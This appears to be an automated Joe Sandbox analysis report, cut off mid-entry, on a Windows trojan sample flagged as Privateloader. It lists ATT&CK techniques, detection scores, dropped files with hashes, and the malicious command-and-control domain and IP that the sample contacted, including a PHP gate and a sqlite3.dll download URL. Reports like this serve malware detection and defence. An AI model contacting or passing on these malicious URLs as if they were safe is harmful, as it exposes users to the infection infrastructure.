          System Owner/User Discovery          		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSync1
          Remote System Discovery          		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem3
          File and Directory Discovery          		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
          Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow153
          System Information Discovery          		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          un78exGoa4.exe49%ReversingLabsWin32.Trojan.Privateloader
          un78exGoa4.exe38%VirustotalBrowse
          un78exGoa4.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dllY0%Avira URL Cloudsafe
          http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dll50%Avira URL Cloudsafe
          http://ronaldlitt.top/25d4fc7fb0cb6b78.php89c6ee431893fde88e49579e17ef50%Avira URL Cloudsafe
          http://ronaldlitt.top0%Avira URL Cloudsafe
          http://ronaldlitt.top/25d4fc7fb0cb6b78.php100%Avira URL Cloudphishing
          http://ronaldlitt.top/25d4fc7fb0cb6b78.phption:100%Avira URL Cloudphishing
          http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dll100%Avira URL Cloudphishing

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          ronaldlitt.top
          		193.106.175.215
          		truetrue
            		unknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            http://ronaldlitt.top/25d4fc7fb0cb6b78.phptrue
            • Avira URL Cloud: phishing
            		unknown
            http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dlltrue
            • Avira URL Cloud: phishing
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://ac.ecosia.org/autocomplete?q=FCFIJEBF.0.drfalse
              		high
              https://search.yahoo.com?fr=crmas_sfpun78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drfalse
                		high
                http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dllYun78exGoa4.exe, 00000000.00000002.421176016.000000000070A000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://duckduckgo.com/chrome_newtabun78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drfalse
                  		high
                  http://ronaldlitt.top/25d4fc7fb0cb6b78.phption:un78exGoa4.exe, 00000000.00000002.417733641.00000000004E5000.00000040.00000001.01000000.00000003.sdmp, un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpfalse
                  • Avira URL Cloud: phishing
                  		unknown
                  https://duckduckgo.com/ac/?q=FCFIJEBF.0.drfalse
                    		high
                    http://ronaldlitt.top/25d4fc7fb0cb6b78.php89c6ee431893fde88e49579e17ef5un78exGoa4.exe, 00000000.00000002.417733641.00000000004E5000.00000040.00000001.01000000.00000003.sdmp, un78exGoa4.exe, 00000000.00000002.417733641.0000000000429000.00000040.00000001.01000000.00000003.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://www.google.com/images/branding/product/ico/googleg_lodp.icoun78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drfalse
                      		high
                      https://search.yahoo.com?fr=crmas_sfpfun78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drfalse
                        		high
                        https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=FCFIJEBF.0.drfalse
                          		high
                          http://ronaldlitt.topun78exGoa4.exe, 00000000.00000002.421100115.00000000006B5000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://search.yahoo.com/favicon.icohttps://search.yahoo.com/searchun78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drfalse
                            		high
                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=FCFIJEBF.0.drfalse
                              		high
                              https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=un78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drfalse
                                		high
                                http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dll5un78exGoa4.exe, 00000000.00000002.421176016.000000000070A000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.sqlite.org/copyright.html.un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.428729273.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpfalse
                                  		high

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  193.106.175.215
                                  		ronaldlitt.topRussian Federation
                                  		50465IQHOSTRUtrue

                                  General Information

                                  Joe Sandbox Version:37.1.0 Beryl
                                  Analysis ID:876992
                                  Start date and time:2023-05-28 09:28:42 +02:00
                                  Joe Sandbox Product:CloudBasic
                                  Overall analysis duration:0h 6m 27s
                                  Hypervisor based Inspection enabled:false
                                  Report type:light
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                  Number of analysed new started processes analysed:6
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • HDC enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Sample file name:un78exGoa4.exe
                                  Original Sample Name:84f304e30439cf1f837ed4f31c1fbb28.exe
                                  Detection:MAL
                                  Classification:mal100.troj.spyw.evad.winEXE@6/19@1/1
                                  EGA Information:
                                  • Successful, ratio: 100%
                                  HDC Information:
                                  • Successful, ratio: 100% (good quality ratio 90%)
                                  • Quality average: 70.1%
                                  • Quality standard deviation: 32.1%
                                  HCA Information:
                                  • Successful, ratio: 100%
                                  • Number of executed functions: 0
                                  • Number of non-executed functions: 0
                                  Cookbook Comments:
                                  • Found application associated with file extension: .exe
                                  • Stop behavior analysis, all processes terminated

                                  Warnings

                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, conhost.exe
                                  • HTTP Packets have been reduced
                                  • TCP Packets have been reduced to 100
                                  • Not all processes where analyzed, report is missing behavior information
                                  • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                  • Report size getting too big, too many NtQueryAttributesFile calls found.
                                  • Report size getting too big, too many NtQueryValueKey calls found.

                                  Simulations

                                  Behavior and APIs

                                  ⊘No simulations

                                  Joe Sandbox View / Context

                                  IPs

                                  ⊘No context

                                  Domains

                                  ⊘No context

                                  ASNs

                                  ⊘No context

                                  JA3 Fingerprints

                                  ⊘No context

                                  Dropped Files

                                  ⊘No context

                                  Created / dropped Files

                                  C:\ProgramData\BGDAAKJJDAAKFHJKJKFCAEHDAF

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:SQLite 3.x database, last written using SQLite version 3038005, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 10
                                  Category:dropped
                                  Size (bytes):28672
                                  Entropy (8bit):0.4393511334109407
                                  Encrypted:false
                                  SSDEEP:24:TLqlj1czkwubXYFpFNYcw+6UwcYzHrSl:TyxcYwuLopFgU1YzLSl
                                  MD5:8C31C5487A97BBE73711C5E20600C1F6
                                  SHA1:D4D6B04226D8FFC894749B3963E7DB7068D6D773
                                  SHA-256:A1326E74262F4B37628F2E712EC077F499B113181A1E937E752D046E43F1689A
                                  SHA-512:394391350524B994504F4E748CCD5C3FA8EF980AED850A5A60F09250E8261AC8E300657CBB1DBF305729637BC0E1F043E57799E2A35C82EEA3825CE5C9E7051D
                                  Malicious:false
                                  Reputation:high, very likely benign file
                                  Preview:SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                  C:\ProgramData\BYIMNPJCRL.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.696849723934257
                                  Encrypted:false
                                  SSDEEP:24:9XS3L9Z9achquy916X7oC9YYukwxDMvS7zwUzl9waqHG:hSb9Z9achACukw9Ma73KHG
                                  MD5:69842C9599BCE04D8727DF49107BEA31
                                  SHA1:C048464364668A13DD84EAC5E9B765A1D1B00D7A
                                  SHA-256:32C7FA5D55D3658A65B08F42FEE16884DC5EA6457AB3E6AC50995BC815377134
                                  SHA-512:AA0DFA923086A78927024585571D55EAA18D7C3C907A80B5DB82396769599717619B1125973479DC848ED352447C6114EB8460B8125F6C47486290884FE26480
                                  Malicious:false
                                  Preview:BYIMNPJCRLRBMQEEEUFHTSTCVFQEABUOILZJXSTRKVJYXTSCICYXTUCYTBORUVFEXVHXXHZLPHJNYDQGTPVLWILVQNCPUYBTSIQLWUERWREMYABMDZZQTVDNTDDHAGUUVTCTOOJWFEHSBVTOXXUQRGZNKAYEATNKOEHDUHBLXOYGPQDCOFLMJTHQSYDSBPDURESTXHCQMZBOOMLDWVLKZNKZWNZJSKCJVOCLVGIKQVRJDVKWMRZZTYMEJZFGSYHHXFIVOVJRITSASFJMXNDQBLTKXRYCCLEPTRWCBSLWQQGIZLHEMWQLBCXIJLRDZVGBDMKPQCSAJHPDMQCONOLPJKQSXXWKXLWGWFLLNMOMWBJEMUURYOXEPKNSYCCDIBYHFEDOGZJJRSRKSEMLUDJXBZKLOYRGSOIOLAQQGOKRCRGRTJLWRORHIWNHMGGIWOMOTUTBZAJWLDKALGXBHMLHYLYFZMDYBGWJNWGFVHKCBLXCJPCCAPBVNXOULSIAXANDUOFOTRQEVRFUWUFZCRTHLJQLYEGBPFFBTVSXPLLXDZYMBEAYTIBROCPJVZZSUDJWHANFEHHFHWNIBUHZUDXOLNPGFFLXTLGFZMCQYAGSBHRBITQCSUSVYIHHPNSIDTAQFELFTVTYPAWRKKUYJGRHBOBKCYSQKYEHBXDBGGWIPSQQCYDWZSIIAMYULFQOWVLCWSKUUWOHVIFAGEZJFLQYMCPCCBYXRGJOIZQIOIXSSUJSAMFTHHTCZWSIBUVVURBKAFKXSFMJOWKBXSGIZJARBEJSEPITNOSZGHQXWXOUAERJHEXAIAIJXJBCXQVJCAXHQYYJOOVFEZBKSDJJCTGJPWBAITTSUDYIKNPSTBUYHBNPCEEMIBYEKTOBEZFPKIONTMHFMSRYEGQBWJVYZOPGLWXFVPHCHOVMZAIDRTGJPBLDKIATOXKOSRGCRSMGGORALNTMZEZXSDRSQYSYAIOLFOYGEVJDRGTSRFAUZPOU

                                  C:\ProgramData\CZQKSDDMWR.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.700739677288544
                                  Encrypted:false
                                  SSDEEP:24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
                                  MD5:57582F5B6AE65D8DFCBD4A26382C6138
                                  SHA1:DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
                                  SHA-256:7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
                                  SHA-512:6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
                                  Malicious:false
                                  Preview:CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

                                  C:\ProgramData\DUKNXICOZT.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.694015263253693
                                  Encrypted:false
                                  SSDEEP:24:pE8hRSoFxFv2tFu66PaDs7Wya/4QEssgd8uS:pE8nSoFxFvaCgoWc/gd8L
                                  MD5:CA67F06C14A077335756DA58259702DC
                                  SHA1:38A16C7089B83C544B5A58A1A91EE36AB2EE7F38
                                  SHA-256:6EDC691DABB9C6D794637CB2149341BB454C0490C01BBEF92C3BD48BB86B2329
                                  SHA-512:1754DE4F4BAC84BD0D0E605157AEFD00599B1641042A3F77AEA16614FE595B7090595C982C1679D910C20A2BF53936BAB648FF31C2CF82F3F9AD985D22EA14E8
                                  Malicious:false
                                  Preview:DUKNXICOZTGLPDSRRQNKVCEQUFBSMCGTLOLLPKYXLUAXKQNZYDHXTQPNHHFHJTMIGEVVJMXNTUPFEQSTIPWCYHGFUQMXUYJBEEKJNRRCNFODXCAMAXLAZTIQUNTNPGERBSYITUYWBHPPZHKLUNSGUFMHVRZKTGCTKCZZJDJJKZRDBOFQSLPJQVAUHFJGITHWOZYPLVWBUXHBXXXJUCPJMVLNEPNKDIZKYGMCDARTHGXLNZDXRLUSQRQMRUGCFVVHERGNVXKXGPTCXBJJSYOTZHCRWDCIILVDANNRVWIHRUKXNEWVKZLEBJFPCBFWGQGWGNAHYWNRYILMVTJYSQGDDEIOTQFNFCPBIFXMUECMBHHGKFHGYAPHBDYRWVLPTNZQXENCWRMKRIQEHFZXOHUQUMEVRRXBUGYMSBZKQNTNXORTCHQQTODUBHKLIIDLWFSVAULMVBXACHFRLSBSAGSWTRHIIZFLUSWOCTUGDAHTWKZBYIVQRRYRKRAUTQQLIUHDWFKYDUVNGBMEZUTAFTTKYLQLJJTEVOLXVXBJATRZJRTOISUFLOLZCIBSUKLPDJXJBNUXCGPOLEGGOYZSOMTIWZMXNMUQTDLWGLIFCOJBEBCJQCSUDSWMKJERKRVNPKGTBPKKHLFCUULARSYSMUUYOBVXGHJPZEQKZTIWHIOQYDFCLYHJZKEDUCRZKCLMBUTIQDOHZOSLLXZMPKRTSVSHOIOGCLWGQOYRPDVACEIULCNRQDMRTSTZBWQMCLPDYWEXUCNSMFNSLTBNUAJKDHOPGLEHJPRKNWCKRZSOJXBNVSNBJBRTNVXHVKISJRPDYQBKOXYGOTQXOJKNGSOSFTFSIVNPFOAYLIRBSAREFWQPLONYPUBHJPFGRFFPXAQEEPWYSTOTGMJMHXBQMNEWRCBJRORHQBKISQFFCDYLOWZILZFBCXTYETKBEANFDVZBQHUOSIHHQTXPKVPTCPOPJEEGGSIDPOLYQHTCFCAHOXRL

                                  C:\ProgramData\DUKNXICOZT.xlsx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.694015263253693
                                  Encrypted:false
                                  SSDEEP:24:pE8hRSoFxFv2tFu66PaDs7Wya/4QEssgd8uS:pE8nSoFxFvaCgoWc/gd8L
                                  MD5:CA67F06C14A077335756DA58259702DC
                                  SHA1:38A16C7089B83C544B5A58A1A91EE36AB2EE7F38
                                  SHA-256:6EDC691DABB9C6D794637CB2149341BB454C0490C01BBEF92C3BD48BB86B2329
                                  SHA-512:1754DE4F4BAC84BD0D0E605157AEFD00599B1641042A3F77AEA16614FE595B7090595C982C1679D910C20A2BF53936BAB648FF31C2CF82F3F9AD985D22EA14E8
                                  Malicious:false
                                  Preview:DUKNXICOZTGLPDSRRQNKVCEQUFBSMCGTLOLLPKYXLUAXKQNZYDHXTQPNHHFHJTMIGEVVJMXNTUPFEQSTIPWCYHGFUQMXUYJBEEKJNRRCNFODXCAMAXLAZTIQUNTNPGERBSYITUYWBHPPZHKLUNSGUFMHVRZKTGCTKCZZJDJJKZRDBOFQSLPJQVAUHFJGITHWOZYPLVWBUXHBXXXJUCPJMVLNEPNKDIZKYGMCDARTHGXLNZDXRLUSQRQMRUGCFVVHERGNVXKXGPTCXBJJSYOTZHCRWDCIILVDANNRVWIHRUKXNEWVKZLEBJFPCBFWGQGWGNAHYWNRYILMVTJYSQGDDEIOTQFNFCPBIFXMUECMBHHGKFHGYAPHBDYRWVLPTNZQXENCWRMKRIQEHFZXOHUQUMEVRRXBUGYMSBZKQNTNXORTCHQQTODUBHKLIIDLWFSVAULMVBXACHFRLSBSAGSWTRHIIZFLUSWOCTUGDAHTWKZBYIVQRRYRKRAUTQQLIUHDWFKYDUVNGBMEZUTAFTTKYLQLJJTEVOLXVXBJATRZJRTOISUFLOLZCIBSUKLPDJXJBNUXCGPOLEGGOYZSOMTIWZMXNMUQTDLWGLIFCOJBEBCJQCSUDSWMKJERKRVNPKGTBPKKHLFCUULARSYSMUUYOBVXGHJPZEQKZTIWHIOQYDFCLYHJZKEDUCRZKCLMBUTIQDOHZOSLLXZMPKRTSVSHOIOGCLWGQOYRPDVACEIULCNRQDMRTSTZBWQMCLPDYWEXUCNSMFNSLTBNUAJKDHOPGLEHJPRKNWCKRZSOJXBNVSNBJBRTNVXHVKISJRPDYQBKOXYGOTQXOJKNGSOSFTFSIVNPFOAYLIRBSAREFWQPLONYPUBHJPFGRFFPXAQEEPWYSTOTGMJMHXBQMNEWRCBJRORHQBKISQFFCDYLOWZILZFBCXTYETKBEANFDVZBQHUOSIHHQTXPKVPTCPOPJEEGGSIDPOLYQHTCFCAHOXRL

                                  C:\ProgramData\FCFIJEBF

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
                                  Category:dropped
                                  Size (bytes):94208
                                  Entropy (8bit):1.287139506398081
                                  Encrypted:false
                                  SSDEEP:192:Qo1/8dpUXbSzTPJPF6n/YVuzdqfEwn7PrH944:QS/indc/YVuzdqfEwn7b944
                                  MD5:292F98D765C8712910776C89ADDE2311
                                  SHA1:E9F4CCB4577B3E6857C6116C9CBA0F3EC63878C5
                                  SHA-256:9C63F8321526F04D4CD0CFE11EA32576D1502272FE8333536B9DEE2C3B49825E
                                  SHA-512:205764B34543D8B53118B3AEA88C550B2273E6EBC880AAD5A106F8DB11D520EB8FD6EFD3DB3B87A4500D287187832FCF18F60556072DD7F5CC947BB7A4E3C3C1
                                  Malicious:false
                                  Preview:SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                  C:\ProgramData\GIGIYTFFYT.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.7020597455120665
                                  Encrypted:false
                                  SSDEEP:24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
                                  MD5:47F4925C44B6916FE1BEE7FBB1ACF777
                                  SHA1:D7BFAEF09A15A105540FC44D2C307778C0553CE5
                                  SHA-256:62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
                                  SHA-512:6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
                                  Malicious:false
                                  Preview:GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

                                  C:\ProgramData\GLTYDMDUST.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.69569301223482
                                  Encrypted:false
                                  SSDEEP:24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
                                  MD5:CA404BEA65D84F58838AF73B2DC67E02
                                  SHA1:56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
                                  SHA-256:4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
                                  SHA-512:10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
                                  Malicious:false
                                  Preview:GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

                                  C:\ProgramData\GNLQNHOLWB.docx

                                  Download File
                                  Process:C:\Users\user\Desktop\un78exGoa4.exe
                                  File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):1026
                                  Entropy (8bit):4.698695541849584
                                  Encrypted:false
                                  SSDEEP:24:ZE+7+1bm31iNKty4eaTDMDURN6ZqyioAe1L:ZE+61bm0Qty41T5N6ZNLAeZ
                                  MD5:64E7020B0B401F75D3061A1917D99E04
                                  SHA1:785E09A2F76464E26CE282F41DE07D1B27FFB855
                                  SHA-256:9E5D6C897851C4A24A0D3BC4F9291A971550B9F1B9F9CFB86D7A2D5F12CD63B0
                                  SHA-512:14D18C0739A9B9097C2135DF001E31BA17772A9ED1DFC62318AD092C133F8C054E5C335354C57929137344E11AC6F0EBC5032211136D1F1B3F6DF8F1434D90E3
                                  Malicious:false
